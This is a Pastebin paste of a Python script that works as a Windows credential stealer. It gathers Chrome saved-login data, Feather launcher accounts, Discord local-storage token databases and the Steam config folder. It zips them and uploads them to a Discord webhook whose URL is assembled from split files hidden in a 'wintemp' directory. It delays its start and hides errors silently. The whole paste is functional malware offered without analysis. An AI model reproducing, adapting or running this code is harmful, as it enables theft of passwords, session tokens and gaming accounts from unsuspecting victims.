Advertisement
TerraMine

t1

Jun 4th, 2025 (edited)
15
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.60 KB | None | 0 0
  1. import time
  2. import urllib.request
  3. import urllib.parse
  4. import json
  5. import os
  6. import uuid
  7. import mimetypes
  8. import zipfile
  9. import shutil
  10. import http.client
  11. time.sleep(10)
  12.  
  13. _LOCAL_APP_DATA_PATH_FOR_PARTS = os.getenv('LOCALAPPDATA')
  14. appdata_path = os.getenv('APPDATA')
  15. local_app_data_path = os.getenv('LOCALAPPDATA')
  16. _PROGRAM_BASE_DIR_FOR_PARTS = ""
  17. _WEBHOOK_FILE_PARTS_DIR = ""
  18. appdata_path = os.getenv('APPDATA')
  19. program_files_x86_path = os.getenv('ProgramFiles(x86)')
  20.  
  21. if _LOCAL_APP_DATA_PATH_FOR_PARTS:
  22. _PROGRAM_BASE_DIR_FOR_PARTS = os.path.join(_LOCAL_APP_DATA_PATH_FOR_PARTS, 'wintemp')
  23. else:
  24. _USER_PROFILE_PATH_FOR_PARTS = os.getenv('USERPROFILE')
  25. if _USER_PROFILE_PATH_FOR_PARTS:
  26. _PROGRAM_BASE_DIR_FOR_PARTS = os.path.join(_USER_PROFILE_PATH_FOR_PARTS, 'AppData', 'Local', 'wintemp')
  27.  
  28. if _PROGRAM_BASE_DIR_FOR_PARTS:
  29. _WEBHOOK_FILE_PARTS_DIR = os.path.join(_PROGRAM_BASE_DIR_FOR_PARTS, 'files')
  30. else:
  31. pass
  32.  
  33. def get_dynamic_webhook_url(parts_dir_path):
  34. base_webhook_url = "https://discord.com/api/webhooks/"
  35. file_parts_names = ["1", "2", "3"]
  36. webhook_suffix_parts = []
  37. all_parts_found_and_read = True
  38.  
  39. if not parts_dir_path or not os.path.isdir(parts_dir_path):
  40. return None
  41.  
  42. for part_name in file_parts_names:
  43. file_path = os.path.join(parts_dir_path, part_name)
  44. if not os.path.isfile(file_path):
  45. all_parts_found_and_read = False
  46. break
  47. try:
  48. with open(file_path, 'r', encoding='utf-8') as f:
  49. content = f.read().strip()
  50. if not content and part_name != "3":
  51. if part_name in ["1", "2"]:
  52. all_parts_found_and_read = False
  53. break
  54. webhook_suffix_parts.append(content)
  55. except IOError as e:
  56. all_parts_found_and_read = False
  57. break
  58. except Exception as e:
  59. all_parts_found_and_read = False
  60. break
  61.  
  62. if all_parts_found_and_read and len(webhook_suffix_parts) == len(file_parts_names):
  63. part1 = webhook_suffix_parts[0]
  64. part2 = webhook_suffix_parts[1]
  65. part3 = webhook_suffix_parts[2]
  66.  
  67. if part1 and (part2 or part3):
  68. full_token = part2 + part3
  69. full_suffix = f"{part1}/{full_token}"
  70. return base_webhook_url + full_suffix
  71. else:
  72. return None
  73. else:
  74. return None
  75.  
  76. FILE_PATHS = []
  77.  
  78. if appdata_path:
  79. FILE_PATHS.append(os.path.join(appdata_path, '.feather', 'accounts.json'))
  80.  
  81. # Usunięcie starych ścieżek do plików Steam, zamiast tego spakujemy cały folder config
  82. # if program_files_x86_path:
  83. # FILE_PATHS.append(os.path.join(program_files_x86_path, 'Steam', 'config', 'loginusers.vdf'))
  84. # FILE_PATHS.append(os.path.join(program_files_x86_path, 'Steam', 'config', 'config.vdf'))
  85.  
  86. if local_app_data_path:
  87. chrome_login_data = os.path.join(local_app_data_path, 'Google', 'Chrome', 'User Data', 'Default', 'Login Data')
  88. FILE_PATHS.append(chrome_login_data)
  89.  
  90. MESSAGE_CONTENT = "Files:"
  91.  
  92. LOCAL_APP_DATA_PATH_PYT = os.getenv('LOCALAPPDATA')
  93. if LOCAL_APP_DATA_PATH_PYT:
  94. PROGRAM_BASE_DIR_PYT = os.path.join(LOCAL_APP_DATA_PATH_PYT, 'wintemp')
  95. else:
  96. USER_PROFILE_PATH_PYT = os.getenv('USERPROFILE')
  97. if USER_PROFILE_PATH_PYT:
  98. PROGRAM_BASE_DIR_PYT = os.path.join(USER_PROFILE_PATH_PYT, 'AppData', 'Local', 'wintemp')
  99. else:
  100. PROGRAM_BASE_DIR_PYT = os.path.join(os.getcwd(), 'wintemp_fallback_pyt')
  101. pass
  102.  
  103.  
  104. DATA_FOLDER_PATH = os.path.join(PROGRAM_BASE_DIR_PYT, 'data')
  105.  
  106. DISCORD_LEVELDB_PATH = os.path.join(appdata_path, 'discord', 'Local Storage', 'leveldb')
  107.  
  108. ZIPS_SUBDIR_PYT = os.path.join(PROGRAM_BASE_DIR_PYT, 'zips')
  109.  
  110. MAX_FILE_SIZE_BYTES = 25 * 1024 * 1024
  111.  
  112. def ensure_dir_exists(directory_path):
  113. if not os.path.exists(directory_path):
  114. try:
  115. os.makedirs(directory_path, exist_ok=True)
  116. return True
  117. except OSError as e:
  118. return False
  119. else:
  120. if not os.path.isdir(directory_path):
  121. return False
  122. return True
  123.  
  124. def copy_folder_resilient(src_folder_path, dest_folder_path):
  125. if not os.path.isdir(src_folder_path):
  126. return False
  127. if not ensure_dir_exists(dest_folder_path):
  128. return False
  129. files_copied_count = 0
  130. files_skipped_count = 0
  131. for item_root, item_dirs, item_filenames in os.walk(src_folder_path):
  132. for dirname in item_dirs:
  133. src_dir_path = os.path.join(item_root, dirname)
  134. relative_dir_path = os.path.relpath(src_dir_path, src_folder_path)
  135. dest_subdir_path = os.path.join(dest_folder_path, relative_dir_path)
  136. if not ensure_dir_exists(dest_subdir_path):
  137. pass
  138. for filename in item_filenames:
  139. src_file_path = os.path.join(item_root, filename)
  140. relative_file_path = os.path.relpath(src_file_path, src_folder_path)
  141. dest_file_path = os.path.join(dest_folder_path, relative_file_path)
  142. if not os.path.isfile(src_file_path):
  143. files_skipped_count +=1
  144. continue
  145. try:
  146. shutil.copy2(src_file_path, dest_file_path)
  147. files_copied_count += 1
  148. except (IOError, OSError, PermissionError) as e:
  149. files_skipped_count += 1
  150. except Exception as e:
  151. files_skipped_count += 1
  152. if files_copied_count == 0 and files_skipped_count == 0:
  153. try:
  154. if not any(os.scandir(src_folder_path)):
  155. pass
  156. except OSError:
  157. pass
  158. return True
  159.  
  160. def zip_folder(folder_path, output_zip_full_path):
  161. try:
  162. output_zip_dir = os.path.dirname(output_zip_full_path)
  163. if not ensure_dir_exists(output_zip_dir):
  164. return False
  165. with zipfile.ZipFile(output_zip_full_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
  166. for root, dirs, files in os.walk(folder_path):
  167. path_to_check_in_root = os.path.abspath(output_zip_full_path)
  168. current_root_abs = os.path.abspath(root)
  169. if path_to_check_in_root.startswith(current_root_abs) and path_to_check_in_root in [os.path.join(current_root_abs, name) for name in dirs + files]:
  170. continue
  171. for file_to_zip in files:
  172. file_path_absolute = os.path.join(root, file_to_zip)
  173. if os.path.abspath(file_path_absolute) == os.path.abspath(output_zip_full_path):
  174. continue
  175. archive_name = os.path.relpath(file_path_absolute, folder_path)
  176. zipf.write(file_path_absolute, archive_name)
  177. return True
  178. except FileNotFoundError:
  179. return False
  180. except Exception as e:
  181. return False
  182.  
  183. def create_multipart_form_data(fields, files_data):
  184. boundary = "----PythonWebhookClientBoundary_PYT" + uuid.uuid4().hex
  185. body = bytearray()
  186. for name, value in fields.items():
  187. body.extend(f'--{boundary}\r\n'.encode('utf-8'))
  188. body.extend(f'Content-Disposition: form-data; name="{name}"\r\n'.encode('utf-8'))
  189. if name == "payload_json":
  190. body.extend(b'Content-Type: application/json\r\n')
  191. body.extend(b'\r\n')
  192. body.extend(value)
  193. body.extend(b'\r\n')
  194. for field_name, file_path_internal, mime_type in files_data:
  195. filename = os.path.basename(file_path_internal)
  196. try:
  197. with open(file_path_internal, 'rb') as f:
  198. file_content = f.read()
  199. except FileNotFoundError:
  200. raise
  201. except IOError as e:
  202. raise
  203. body.extend(f'--{boundary}\r\n'.encode('utf-8'))
  204. body.extend(f'Content-Disposition: form-data; name="{field_name}"; filename="{filename}"\r\n'.encode('utf-8'))
  205. body.extend(f'Content-Type: {mime_type}\r\n'.encode('utf-8'))
  206. body.extend(b'\r\n')
  207. body.extend(file_content)
  208. body.extend(b'\r\n')
  209. body.extend(f'--{boundary}--\r\n'.encode('utf-8'))
  210. content_type = f'multipart/form-data; boundary={boundary}'
  211. return bytes(body), content_type
  212.  
  213. def send_files_to_discord_stdlib(webhook_url_param, list_of_file_paths, message_content_to_send=None):
  214. if not webhook_url_param:
  215. return
  216. if not list_of_file_paths:
  217. return
  218. form_fields = {}
  219. if message_content_to_send:
  220. payload = {"content": message_content_to_send}
  221. form_fields["payload_json"] = json.dumps(payload).encode('utf-8')
  222. files_to_send_for_multipart = []
  223. valid_files_counter = 0
  224. for file_path_item in list_of_file_paths:
  225. if not os.path.exists(file_path_item):
  226. continue
  227. if not os.path.isfile(file_path_item):
  228. continue
  229. file_size = os.path.getsize(file_path_item)
  230. file_size_mb = file_size / (1024 * 1024)
  231. if file_size > MAX_FILE_SIZE_BYTES:
  232. continue
  233. mime_type, _ = mimetypes.guess_type(file_path_item)
  234. if mime_type is None:
  235. mime_type = 'application/octet-stream'
  236. if file_path_item.lower().endswith(".zip"):
  237. mime_type = 'application/zip'
  238. field_name = f'files[{valid_files_counter}]'
  239. files_to_send_for_multipart.append((field_name, file_path_item, mime_type))
  240. valid_files_counter += 1
  241. if not files_to_send_for_multipart:
  242. return
  243. try:
  244. body, content_type = create_multipart_form_data(form_fields, files_to_send_for_multipart)
  245. except Exception as e:
  246. return
  247.  
  248. request = urllib.request.Request(webhook_url_param, data=body, method='POST')
  249. request.add_header('Content-Type', content_type)
  250. request.add_header('User-Agent', 'Python-DiscordWebhook-PYT-StdLib/1.1')
  251. try:
  252. with urllib.request.urlopen(request) as response:
  253. response_body = response.read().decode('utf-8')
  254. if not (200 <= response.status < 300):
  255. pass
  256. except urllib.error.HTTPError as e:
  257. pass
  258. except urllib.error.URLError as e:
  259. pass
  260. except Exception as e:
  261. pass
  262.  
  263. if __name__ == "__main__":
  264. WEBHOOK_URL = get_dynamic_webhook_url(_WEBHOOK_FILE_PARTS_DIR)
  265.  
  266. if not WEBHOOK_URL:
  267. exit()
  268.  
  269. if not ensure_dir_exists(PROGRAM_BASE_DIR_PYT) or not ensure_dir_exists(ZIPS_SUBDIR_PYT):
  270. exit()
  271.  
  272. folders_to_zip = []
  273. if os.path.isdir(DATA_FOLDER_PATH):
  274. folders_to_zip.append({"path": DATA_FOLDER_PATH, "name": "data_archive"})
  275. if os.path.isdir(DISCORD_LEVELDB_PATH):
  276. folders_to_zip.append({"path": DISCORD_LEVELDB_PATH, "name": "discord_leveldb_archive"})
  277.  
  278. # Dodanie folderu config Steam do listy folderów do spakowania
  279. if program_files_x86_path:
  280. steam_config_path = os.path.join(program_files_x86_path, 'Steam', 'config')
  281. if os.path.isdir(steam_config_path):
  282. folders_to_zip.append({"path": steam_config_path, "name": "steam_config_archive"})
  283.  
  284. processed_file_paths_to_send = []
  285.  
  286. for folder_info in folders_to_zip:
  287. original_folder_path = folder_info["path"]
  288. archive_base_name = folder_info["name"]
  289.  
  290. if not os.path.isdir(original_folder_path):
  291. pass
  292. else:
  293. temp_copy_dirname = f"copy_for_zip_{archive_base_name}_{uuid.uuid4().hex[:8]}"
  294. temp_copy_dir_fullpath = os.path.join(PROGRAM_BASE_DIR_PYT, temp_copy_dirname)
  295. zip_filename_only = f"{archive_base_name}_{uuid.uuid4().hex[:8]}.zip"
  296. full_output_zip_path = os.path.join(ZIPS_SUBDIR_PYT, zip_filename_only)
  297. try:
  298. if copy_folder_resilient(original_folder_path, temp_copy_dir_fullpath):
  299. if zip_folder(temp_copy_dir_fullpath, full_output_zip_path):
  300. processed_file_paths_to_send.append(full_output_zip_path)
  301. else:
  302. pass
  303. else:
  304. pass
  305. finally:
  306. if temp_copy_dir_fullpath and os.path.isdir(temp_copy_dir_fullpath):
  307. try:
  308. shutil.rmtree(temp_copy_dir_fullpath)
  309. except OSError as e:
  310. pass
  311.  
  312. if FILE_PATHS:
  313. for file_path_item in FILE_PATHS:
  314. if os.path.isfile(file_path_item):
  315. processed_file_paths_to_send.append(file_path_item)
  316.  
  317. if not processed_file_paths_to_send:
  318. pass
  319. else:
  320. send_files_to_discord_stdlib(WEBHOOK_URL, processed_file_paths_to_send, MESSAGE_CONTENT)
  321.  
  322. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement